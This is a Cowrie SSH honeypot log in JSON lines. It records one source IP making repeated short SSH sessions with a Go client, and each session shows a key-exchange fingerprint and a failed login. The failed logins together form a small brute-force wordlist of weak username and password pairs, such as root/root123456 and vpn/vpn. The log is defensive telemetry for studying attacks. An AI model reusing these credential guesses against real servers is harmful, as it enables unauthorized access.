{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:45.173763Z","src_ip":"192.109.200.78","session":"366c51035e53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56662,"dst_ip":"10.17.0.5","dst_port":22,"session":"993237087488","protocol":"ssh","message":"New connection: 192.109.200.78:56662 (10.17.0.5:22) [session: 993237087488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:47.831797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:47.836498Z","src_ip":"192.109.200.78","session":"993237087488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:47.922646Z","src_ip":"192.109.200.78","session":"993237087488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:48.374843Z","src_ip":"192.109.200.78","session":"993237087488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:49.462903Z","src_ip":"192.109.200.78","session":"993237087488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55826,"dst_ip":"10.17.0.5","dst_port":22,"session":"afeb46a13091","protocol":"ssh","message":"New connection: 192.109.200.78:55826 (10.17.0.5:22) [session: afeb46a13091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:52.148608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:52.155479Z","src_ip":"192.109.200.78","session":"afeb46a13091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:52.240524Z","src_ip":"192.109.200.78","session":"afeb46a13091","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:52.496431Z","src_ip":"192.109.200.78","session":"afeb46a13091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:53.736543Z","src_ip":"192.109.200.78","session":"afeb46a13091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55846,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f1e05c1d6c6","protocol":"ssh","message":"New connection: 192.109.200.78:55846 (10.17.0.5:22) [session: 7f1e05c1d6c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:56.528983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:56.533996Z","src_ip":"192.109.200.78","session":"7f1e05c1d6c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:56.617855Z","src_ip":"192.109.200.78","session":"7f1e05c1d6c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:56.868237Z","src_ip":"192.109.200.78","session":"7f1e05c1d6c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:38:57.952859Z","src_ip":"192.109.200.78","session":"7f1e05c1d6c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37266,"dst_ip":"10.17.0.5","dst_port":22,"session":"06dc27aa8c3c","protocol":"ssh","message":"New connection: 192.109.200.78:37266 (10.17.0.5:22) [session: 06dc27aa8c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:00.711869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:00.717674Z","src_ip":"192.109.200.78","session":"06dc27aa8c3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:00.809006Z","src_ip":"192.109.200.78","session":"06dc27aa8c3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:01.075968Z","src_ip":"192.109.200.78","session":"06dc27aa8c3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:02.168229Z","src_ip":"192.109.200.78","session":"06dc27aa8c3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37268,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a96efd7a884","protocol":"ssh","message":"New connection: 192.109.200.78:37268 (10.17.0.5:22) [session: 9a96efd7a884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:05.020135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:05.026010Z","src_ip":"192.109.200.78","session":"9a96efd7a884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:05.112428Z","src_ip":"192.109.200.78","session":"9a96efd7a884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:05.374604Z","src_ip":"192.109.200.78","session":"9a96efd7a884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:06.464585Z","src_ip":"192.109.200.78","session":"9a96efd7a884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53670,"dst_ip":"10.17.0.5","dst_port":22,"session":"a05d70799ba0","protocol":"ssh","message":"New connection: 192.109.200.78:53670 (10.17.0.5:22) [session: a05d70799ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:09.042448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:09.047841Z","src_ip":"192.109.200.78","session":"a05d70799ba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:09.133716Z","src_ip":"192.109.200.78","session":"a05d70799ba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:09.397638Z","src_ip":"192.109.200.78","session":"a05d70799ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:10.485090Z","src_ip":"192.109.200.78","session":"a05d70799ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53680,"dst_ip":"10.17.0.5","dst_port":22,"session":"01883ee1f7fa","protocol":"ssh","message":"New connection: 192.109.200.78:53680 (10.17.0.5:22) [session: 01883ee1f7fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:13.328086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:13.332895Z","src_ip":"192.109.200.78","session":"01883ee1f7fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:13.421698Z","src_ip":"192.109.200.78","session":"01883ee1f7fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:13.674901Z","src_ip":"192.109.200.78","session":"01883ee1f7fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:14.761017Z","src_ip":"192.109.200.78","session":"01883ee1f7fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53684,"dst_ip":"10.17.0.5","dst_port":22,"session":"440fc9ff31db","protocol":"ssh","message":"New connection: 192.109.200.78:53684 (10.17.0.5:22) [session: 440fc9ff31db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:17.384080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:17.388959Z","src_ip":"192.109.200.78","session":"440fc9ff31db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:17.470770Z","src_ip":"192.109.200.78","session":"440fc9ff31db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:17.723850Z","src_ip":"192.109.200.78","session":"440fc9ff31db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:18.812133Z","src_ip":"192.109.200.78","session":"440fc9ff31db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47142,"dst_ip":"10.17.0.5","dst_port":22,"session":"87378f961f21","protocol":"ssh","message":"New connection: 192.109.200.78:47142 (10.17.0.5:22) [session: 87378f961f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:21.633209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:21.639734Z","src_ip":"192.109.200.78","session":"87378f961f21","protocol":"ssh"}
